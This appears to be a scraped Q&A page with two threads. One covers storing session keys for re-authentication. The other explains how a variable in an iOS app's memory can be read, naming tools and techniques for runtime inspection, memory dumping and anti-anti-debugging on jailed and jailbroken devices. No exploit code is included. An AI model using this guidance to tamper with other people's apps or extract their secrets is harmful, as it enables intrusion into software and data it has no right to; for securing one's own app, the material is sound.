  I need to decrypt it later, but for decryption I need some additional
  data (some key, probably), right? Where to store this additional data?

You can generate a key instead of the password, so for example, in the authentication the server returns a KEY (random bits) save that in a database with the ID of the user, and you store that KEY localy, but in the server you know who that belongs to. Then, in the second login, you send that key to the server, that checks if its valid (belongs to that user) and not expired.

  At some point I need to pass this information to another process. I
  already have tcp communication between processes established. Is this
  enough for passing? Should I pass it encrypted or decrypted.

Again, you pass only the key. You can encrypt, but its realy hard to avoid all the types of attacks your system may suffer.


Can someone read a iOS class variable from outside the app? a class variable like this:

@property (strong, nonatomic) NSString *privateValue;

Can someone read the value of that variable while it´s in memory? I can´t find anything about this on the apple docs and I also lack the understanding.
Can someone give me hints for possible attacks?

Yes, it is possible to read iOS class variables from outside of an app. Depending on your perspective and proclivity towards jailed or jailbroken devices, you may find a few ways to read them at runtime or in-memory.

Via runtime, on a jailbroken device, a tool such as NCC Group Introspy is a developer-friendly tool that doesn't require any formal reverse engineering exposure or experience.

For accessing memory in the iOS Simulator or on an iOS device, lldb and gdb can be utilized to dump an app's current memory state. One would need to identify the process to be dumped and perhaps overcome any self-modifying or self-checking code that would include process dumping. This typically requires either a Unix or a reverse engineering background. As a lighter approach, Xcode does provide a debugger, notification spy, and a DTrace interface. One common way of accessing memory without a debugger is to get an app to crash and then go through the artifacts found via the Xcode Organizer. Another way in the iOS Simulator is to go into the menu option Hardware and select the Simulate Memory Warning option.

For those who do have reverse engineering experience and a jailbroken device, be sure to check out Snoop-IT as a first-rate tool to go deeper than what Introspy above provides. Snoop-IT is also heavily covered in the books The Mobile Application Hacker's Handbook as well as Learning iOS Penetration Testing. However, my top recommendation for those who have gdb experience is to follow the techniques outlined by NetSPI to get access to the full app heap. Other techniques include using lldb on a jailbroken device by using a debugserver, which is even more-detailed on the mSecLab blog, but also covered on versprite, isa56k, and a bit on lldbpy via lifeform-labs. The last technique I might mention for jailbroken devices (or for any OS X install) is the kdv tool which utilizes the KDebug mechanism, although certainly other kernel memory dumping options are available such as readkmem. MEMSCAN and Radare (see the NetSPI blog post about adding the Radare repo to Cydia) can also be used to search through or dump process memory on an iOS jailbroken device.

There are a few techniques that can be accomplished while in the iOS Simulator. The recent book iOS Application Security covers many of these in-depth. I might also recommend that you check out some anti-anti-reversing techniques such as the ones typically done on OS X, as they will also apply to iOS. For example, a game trainer for OS X called Bit Slicer and its underlying techniques can be mapped. Basic problems with debugging (e.g., if the NetSPI gdb technique above does not work) can be worked out with idapython as seen when this author ran into a problem with anti-debugging during a MyWi reversing effort. As this article on anti-anti-debugging suggests, a catalog of techniques formalized as a GitHub project called pangu can be bypassed by another GitHub project named Onyx-the-Black-Cat. There are many other reversing challenges, so I suggest you check out the ReverseEngineering.StackExchange tagset for iOS or similar resource.

For jailed devices, I suggest you look into repackaging apps with cycript and/or Frida. If you can get a remote cycript shell, then you can use the mSecLab methods for analyzing memory of an app as one would do on a jailbroken device.